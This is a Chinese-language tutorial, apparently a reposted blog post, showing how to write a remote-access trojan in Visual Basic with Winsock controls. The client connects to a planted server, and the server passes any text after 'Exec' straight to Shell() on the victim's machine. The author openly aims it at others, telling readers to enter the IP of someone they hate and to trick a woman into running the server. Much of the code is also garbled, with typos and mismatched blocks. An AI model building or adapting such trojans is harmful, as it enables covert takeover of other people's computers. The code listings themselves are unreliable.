木马编程系列 今天我为大家讲如何用VB编写"木马"程序 木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给 攻击对象用的,千万不可用错了----给自己种马的人......^0^ 客户程序才是给自己用的,于是我们就用VB建立两个程序,一个为服务器端程序 cockhorseserver,另一个为 客户端程序cockhorseclient. 先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来 输入服务器的IP地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化. 代码我写下: Private Sub Command1_Click() '调用connect方法,初始化连接. tcpclient.RemoteHost = ipinput.Text tcpclient.RemotePort = Val(portinput.Text) '这是端口号,默认为1001 tcpclient.Connect '和指定的IP相对的计算机相连接 cmdconnect.Enabled = False End Sub (在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作. Private Sub tcpclient_dataArrival(ByVal bytestotal As Long) Dim strdata As String tcpclient.GetData strdata If strdata = "test connect" Then tcpstate.Text = "connect OK" + vbNewLine + LocalIP Is ":" + -tcpclient.LocalIP + "computer name is : " + tcpclient.LocalHostName tcpstate.Text = tcpstate.Text + vbNewLine + "remote ip is :" + -tcpclient.RemoteHostIP + "computer name is : " + tcpclient.remotehostname If InStr(Trim(strdata), "closeOK?") > 0 Then tcpclient.Close End If End If txtoutput.Text = txtouput.Text + vbNewLine + tcpclient.RemoteHostIP + ": " + strdata End Sub End Sub 这是这一段代码 cockhorseclient程序的核心部分就是这些,下面我讲cockhorseserver程序 cockhorseserver程序也是先建立一个窗体,也要加载一个winsock控件,(方便一些,我在同一个工程下建立这 个窗体).如果当cockhorseclient程序运行时,cockhorseclient程序就会对cockhorseserver发出连接请求, 为了完成这个连接任务,可以用connectionrequest事件来完成,然后就是具体的错误情况的表达. 代码我打出来: if index=0 then intmax= intmax+1 load tcpserver(intmax) tcpserver(intmax).localport=0 tcpserver(intmax).accept requestID combol_IP.additem(tcpserver(intmax).remotehostIP) combol_Ip.text="填上你的恨的人的IP吧!" tcpserver(intmax).senddata"test connect" end if 呵呵.刚才忘记定义名称了 它的效果是:在cockhorseclient程序被按下的时候,cockhorseserver程序的connectionrequest事件被触发, 从而执行上面的程序,产生连接. 现在的cockhorseserver程序只能做链接,还不能处理cockhorseclient程序所发出的指令,我们还必需用 dataarrival事件. 代码是这样的: Private Sub tcpserver_dataArrival(index As Integer, ByVal bytestotal As Long) Dim strdata As String Dim check_blong on error gogo err_pro tcpserver(index).GetData strdata check_blong = InStr(Trim(strdata), "Exec") If check_blong > 0 Then strdata = Trim(strdata) strdata = Right(strdata.Len(strdata) - 4) Connect.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "要求执行下面的程序：" + strdata Shell (strdata) Else check_blong = InStr(Trim(strdata), "closeOk") If check_blong > 0 Then tcpserver(index).Close combol_IP.removeltem (index - 1) content.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "已经断开！" Else ipname.Text = tcpserver(index).RemoteHostIP txtoutput.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + strdata End If End Sub end if err_pro: if err=53 then msgbox "所执行的程序的路径有错误! ", + tcpserver(index).remotehostIP + "该程序在执行时被拒绝!" tcpserver(index).senddata"" end if resume next end sub 这样,cockhorseserver程序就完了,这就是一个最基本的木马程序,你用它就可以把你想要黑的人的电脑搞定!至于怎么让MM运行你编写的木马服务端程序,那就是你的自己的事情啦! 好了.大概就是这样.控件名称呢.自己定义.我也好长时间没碰VB了.呵呵 本文来源：https://www.wddqw.com/doc/020993fec8d376eeaeaa313a.html